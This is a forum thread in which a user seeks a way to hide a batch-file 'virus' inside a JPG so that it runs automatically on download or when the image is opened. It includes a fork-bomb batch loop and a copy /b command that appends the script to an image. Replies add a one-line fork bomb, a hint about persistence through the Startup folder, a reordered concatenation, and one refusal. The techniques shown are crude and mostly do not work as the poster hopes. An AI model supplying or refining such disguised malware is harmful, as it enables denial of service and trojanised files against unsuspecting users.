Batch File Autorun upon download? HOW?!

Okay, so I know how to make a bomb virus, I know how to make some REALLY nasty viruses with batch files. I know how to convert them to .exe. I know how to hide them in image files and other file types, I know how to get them to start up on the computer startup.

BUT FOR THE LIFE OF ME I CAN'T FIGURE OUT HOW TO GET THEM TO AUTOMATICALLY START UPON DOWNLOAD!!!!


I want to be able to hide them in an image file, or something like that, and have it to where when someone (most of the time me testing them on myself-not the bad one's , mostly the bomb ones that won't kill my computer entirely) downloads the file, the batch file automatically starts. or when someone opens the image file, or other filetype, the batch file or .exe hidden in it starts automatically. Does ANYONE know this freaking code?

for example:

I have a batch file containing the following code:

Code:

@echo off
:A
Start
goto:A

and an image file: it.jpg

so I go to dos and type:

Code:

cd\
cls
COPY /b it.jpg + dumb.bat stupid.jpg

Then the batch file is hidden in the it.jpg and re-saved together as stupid.jpg. I can open the pic, but the batch file doesn't open with it. this is my problem. I also want to be able to upload it, or email it to myself, and when it is downloaded, it auto-starts the batch file (or .exe file) within it.
Thanks!

Fork Bomb is not a virus.
It's also:

Code:

START %0

Look into the batch commands more, you'll see that you can set attributes, and copy files to other locations ("C:\documents & settings\All users\startup\")

Your intentions are too malicious to help you out here, this thread will no doubt be locked or deleted too.

 

I don't want to use startup, i already know how to do that :|, as i stated above. I'm trying to get it to start as soon as it is downloaded, or when the picture itself is doubleclicked or opened at all.

 

change

Code:

COPY /b it.jpg + dumb.bat stupid.jpg

to

Code:

COPY /b dumb.bat + it.jpg stupid.jpg

it will corrupt the image, but the file will still run.

 

it doesn't do anything, just corrupts the image. i double-click it, nothing happens. Besides, I want the image to be visible. I think the code i'm looking for is something that is actually in the batch file itself, something that enables it to be "auto-run" upon download, or given a condition and when the condition is met, it is run.

Also, I'm not going to send this to anyone else, just for myself. I enjoy tampering with my other laptop. That's the honest truth.
